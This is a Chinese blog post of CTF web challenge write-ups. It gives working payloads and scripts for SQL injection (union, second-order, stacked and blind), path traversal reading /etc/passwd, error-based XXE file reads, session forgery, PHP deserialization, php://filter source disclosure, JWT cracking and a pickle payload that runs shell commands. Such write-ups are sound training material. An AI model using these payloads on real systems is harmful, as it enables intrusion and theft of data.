积累的一些web题目

[GXYCTF2019]BabySQli

考点:SQL注入

题目界面

32

随便输入用户名和密码后查看源码得到提示

1
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

解开为

1
select * from user where username = '$name'

我们需要以admin的身份登陆,可以使用union查询,控制为任意密码

33

virink_2019_files_share

考点:文件读取绕过

题目界面

29

查看源代码可以看到存在uploads目录

30

下载时抓包,发现可能存在任意文件读取,测试后发现将../替换为空,这里使用双写绕过即可

1
....//....//....//....//....//....//....//etc..//passwd

31

[CSAWQual 2019]Web_Unagi

考点:xxe

题目界面

题目是想让我们上传与示例相符的xml文件,不难联想到xxe,在测试时发现某些关键字被过滤了,借鉴这篇文章

https://xz.aliyun.com/t/4059

可以用utf-16编码来绕过,使用UltraEdit软件来编写utf-16payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version='1.0' encoding="utf-16"?>
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY % NUMBER '<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///yemoli/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%NUMBER;
]>
<users>
<user>
<username>aaa</username>
<password>qqq</password>
<name>bbb</name>
<email>a@qq.com</email>
<group>CSAW2019</group>
<message>a</message>
</user>
</users>

按照正常方式发现回显位有长度限制,所以这里用到了与[GoogleCTF2019 Quals]Bnv中一样的利用报错带出数据的方法

[GoogleCTF2019 Quals]Bnv

考点:xxe

题目界面:

25

该题目主要考点是xxe在无法加载外部dtd时错误数据的带出,参考下面这篇文章

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

payload:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY % NUMBER '<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///yemoli/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%NUMBER;
]>
<message>a</message>

26

[HarekazeCTF2019]Easy Notes

考点:session伪造

题目界面

22

登陆后可以添加note,然后以压缩文件形式下载下来,当访问flag页面时提示我们需要成为admin,审计源码,会发现session和压缩文件存储在同一路径下,看一下压缩文件的命名

23

由用户名,-,八个随机串,和后缀构成,这个时候就给了我们伪造session的机会

以用户名sess_登陆,然后添加note,title为|N;admin|b:1;body随意,在下载时将type改为.,这样就得到了伪造的session名称,替换一下即可

24

[RCTF2015]EasySQL

考点:二次注入

题目界面

21

changepwd.php处存在二次注入利用点,可利用报错函数带出数据

放上一个用户名的payload

1
1mio"||(extractvalue(1,concat(0x5c,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))))))#

注入过程

1
2
3
4
5
6
7
8
9
10
11
12
select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())

article,flag,users

select(group_concat(column_name))from(information_schema.columns)where(table_name='users')

name,pwd,email,real_flag_1s_here

select(real_flag_1s_here)from(users)where(name='admin')
(real_flag_1s_here)regexp('f')

reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f')))

由于最后带出flag的时候,报错函数存在回显长度限制,可以使用reverse函数逆序输出,拼接得到完整的结果

[极客大挑战 2019]FinalSQL

考点:SQL盲注

题目界面

20

题目注入点在search.php?id=1id=1=0id=1=1时会有不同结果返回,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import time
url = "http://5d1768ad-6d8d-462b-96c1-5c28f6edb4fc.node3.buuoj.cn/search.php?id=1="
s = requests.session()
result = ""
dict_sql = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!@#$%^&*/()_-+={}.:,'
for i in range(1,2000):
print('====================================')
for j in dict_sql:
time.sleep(0.1)
payload = "((ascii(substr((select(group_concat(password))from(F1naI1y)),{},1)))={})".format(i,ord(j))
url1 = url+payload
html = s.get(url1,timeout=5)
if 'Click others~~~' in html.text:
result = result+j
print(result)
break

数据

1
2
3
4
5
6
7
8
9
select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')

F1naI1y,Flaaaaag

select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')

id,username,password

select(group_concat(password))from(F1naI1y)

[安洵杯 2019]不是文件上传

考点:SQL注入,反序列化

题目界面

根据题目首页面泄露的信息,在GitHub上找到了该站点源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
//helper.php
<?php
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.

public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}

public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;
}

public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}

public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}

public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}

public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//show.php
<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
if($_GET["delete_all"] == "true"){
$show->Delete_All_Images();
}
}
$show->Get_All_Images();

class show{
public $con;

public function __construct(){
$this->con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($this->con)){
die("Connect MySQL Fail:".mysqli_connect_error());
}
}

public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}

public function Delete_All_Images(){
$sql = "DELETE FROM images";
$result = mysqli_query($this->con, $sql);
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//upload.php
<?php
include("./helper.php");
class upload extends helper {
public function upload_base(){
$this->upload();
}
}

if ($_FILES){
if ($_FILES["file"]["error"]){
die("Upload file failed.");
}else{
$file = new upload();
$file->upload_base();
}
}

$a = new helper();
?>

存在一处注入点

helper.php上部分未对title进行过滤,可以在图中红线部分进行insert注入,抽象出来的语句

1
insert into images (`title`,`filename`,`ext`,`path`,`attr`) values ('a','b','c','d','e')

a是我们可控的,同时在show.php中发现了反序列化的触发点

17

该处是针对语句中的e进行反序列化操作,通过注入我们可以控制e处序列化的字符串,利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class helper {
protected $config = "/flag";
protected $ifview = 1;
// The function is not yet perfect, it is not open yet.
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}

$a = new helper;
echo serialize($a);

然后将%00*%00替换为\\0\\0\\0,因为代码中存在该处替换

18

1
O:6:"helper":2:{s:9:"\\0\\0\\0config";s:5:"/flag";s:9:"\\0\\0\\0ifview";i:1;}

因为文件名中不可以有:"等字符,把该段转化成16进制,最后文件名为

1
a','b','c','d',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b733a393a225c305c305c30696676696577223b693a313b7d)#

19

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

题目界面

用伪协议读一下源码

1
?file=php://filter/convert.base64-encode/resource=index.php

重点代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//confirm.php
<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//change.php
<?php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

其中输入的时候confirm.php未对address进行过滤,只是进行了addslashes处理,这样配合修改功能,就可以造成二次注入,可使用报错函数updatexmlpayload如下

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

当更新地址时,该句会出现错误带出数据

1
"update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']

[强网杯 2019]随便注

题目界面

该题目考察堆叠注入相关知识,其中有如下过滤

1
2
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
strstr($inject, "set") && strstr($inject, "prepare")

进行注入

1
?inject=1';show databases;

1
?inject=1';use supersqli;show tables;

1
?inject=1';show columns from words;

1
?inject=1';show columns from `1919810931114514`;

现在基本上清楚了数据库中表的结构,由于不能使用select,这里使用alterwords表换成1919810931114514,然后添加id字段,同时将flag字段改名为data字段,这样通过查询就可以直接拿到flag,语句如下

1
ALTER TABLE words RENAME TO moli;ALTER TABLE `1919810931114514` RENAME TO words;ALTER TABLE words ADD id CHAR(10) DEFAULT '1';ALTER TABLE words CHANGE flag data BIGINT;

直接查询

[GWCTF 2019]枯燥的抽奖

考点:伪随机数

题目界面

控制台查看网络来到check.php,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

这是个经典的伪随机数问题,可以参考该文章:https://www.freebuf.com/vuls/192012.html

将得到的部分字母还原成随机数

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$pass_now = "W0dCwtjQ3A";
$allowable_characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$len = strlen($allowable_characters) - 1;
for ($j = 0; $j < strlen($pass_now); $j++) {
for ($i = 0; $i < $len; $i++) {
if ($pass_now[$j] == $allowable_characters[$i]) {
echo "$i $i 0 $len ";
break;
}
}
}

爆破种子

得到了在7.1版本下的种子,然后对完整的字符串进行还原,注意要在7.1版本下运行代码

1
2
3
4
5
6
7
8
9
10
<?php
mt_srand(237387795);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}

echo $str;

[HarekazeCTF2019]encode_and_encode

题目界面

重点源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//query.php
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

我们需要以json的格式传入想读的文件名,但存在is_valid函数进行安全检查,这里可使用unicode进行绕过,同时为了避免文件内容有拦截,可以进行编码,例如

1
{"page":"php\u003a//filter/convert.base64-encode/resource=/fl\u0061g"}

在线转换

http://tool.chinaz.com/tools/unicode.aspx

[CISCN2019 华北赛区 Day1 Web2]ikun

考点:jwt伪造,pickle

题目界面

首先要我们购买lv6,开始寻找lv6所在页面,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import time
url = "http://6664045a-dfa6-4a6c-9ffb-bb0cd3a6a5d2.node3.buuoj.cn/shop?page="
s = requests.session()
for i in range(1,999):
url1 = url + str(i)
print('=================================')
try:
html = s.get(url1)
print(html.status_code)
if "lv6.png" in html.text:
print(url1)
break
except:
print('[-]ERROR')
time.sleep(0.1)

发现在181页,购买时发现账户中的金额不足,抓包去修改折扣数值,将其改小一些,例如0.0000001,购买后提示我们不是admin,进而查看当前cookie,发现是jwt,拿出来爆破一下密钥

cookie替换,查看源码,给了源码泄露的地址,下载下来审计一下,发现了反序列化的点

13

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
#return (eval, ("open('/flag.txt','r').read()",))
return (eval,("__import__('os').popen('cat /flag.txt').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a

坚持原创技术分享,您的支持将鼓励我继续创作!